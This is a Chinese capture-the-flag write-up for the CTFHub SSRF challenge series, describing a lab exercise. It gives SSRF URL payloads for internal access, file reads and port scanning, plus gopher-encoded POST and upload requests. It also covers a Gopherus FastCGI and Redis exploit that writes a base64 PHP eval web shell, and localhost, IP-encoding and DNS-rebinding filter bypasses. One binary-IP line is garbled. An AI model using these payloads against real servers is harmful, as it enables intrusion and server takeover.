一、内网访问
根据提示直接在网址后面跟上
/?url=http://127.0.0.1/flag.php
二、伪协议读取文件
直接在网址后跟
/?url=file:///var/www/html/flag.php
我们发现界面没有显示flag,查看页面源代码
三、端口扫描
/?url=http://127.0.0.1:?/flag.php
根据提示端口号在8000-9000之间,我们不可能一个个试,这时候需要工具来帮助。
开启环境之后,直接使用burpsuite的狙击手模式直接开始爆破
设置变量的类型(Numbers)和范围(8000-9000)
之后访问端口便可获得flag或者直接在工具的响应中得到。
四、POST请求
输入key后直接抓包
将数据修改至上述几行然后进行url编码(进行两次)目的是为了浏览器成功解析。
中途需要替换
再次进行url编码
将得到的编码加入网址后(注意使用gopher协议,端口号后加"_"下划线)
五、上传文件
我们进入flag.php中发现没有提交按钮,我们进入控制台,自己添加提交按钮。
文件选择小一点的,防止出错,点击提交抓包。
注意中文可能乱码,将包里的内容修改成以下行。
接下来与POST提交一致,进行二次编码。
进行替换
二次编码
然后将得到的编码加入网址后得到flag
六、FastCGI协议
本题我们需要Gopherus工具帮助,我们把工具下载至虚拟机中
下载地址:https://github.com/tarunkant/Gopherus.git
插入一个木马以获得用户文件操作权限。
python gopherus.py --exploit fastcgi
/var/www/html/index.php # 这里输入的是一个已知存在的php文件
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php
需要将生成的进行一次编码,因为get本身会进行一次url解码
然后访问,和上传文件的方式一样,当显示以下页面,则证明木马插入成功。
然后用中国菜刀(Web Shell)工具,连接获得
七、Redis协议
操作流程与FastCGI协议一样,代码略有不同。详见下图
进行编码
访问网址,进行木马的植入。可能是redis协议的原因,会加载至超时。
这时直接访问shell.php,发现木马植入成功。
使用菜刀访问,得到flag
八、URL Bypass
构造urlbypass payload
利用@符号绕过
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
九、数字IP Bypass
十六进制 = 7F000001
二进制 = 1111111000000000000000000000001127.0.0.1=localhost
十、302跳转 Bypass
进制转换 16进制 2进制(会被检测)
?url=0x7F000001/flag.php
?url=http://0x7F000001/flag.php
其他代表127.0.0.1地址符号的 localhost 0
localhos在IPV4中被指向127.0.0.1
?url=localhost/flag.php
?url=http://localhost/flag.php
?url=0/flag.php
?url=http://0/flag.php
参考关于localhost,0.0.0.0及127.0.0.1的区别
十一、 DNS重绑定 Bypass
根据关卡提示这是一个测试dns重绑定漏洞的网站,可以让一个域名随机的绑定两个IP
一个127.0.0.1,一个其他的ip(能访问就行,我设置的是该关卡自己的本地服务器ip)
访问获得flag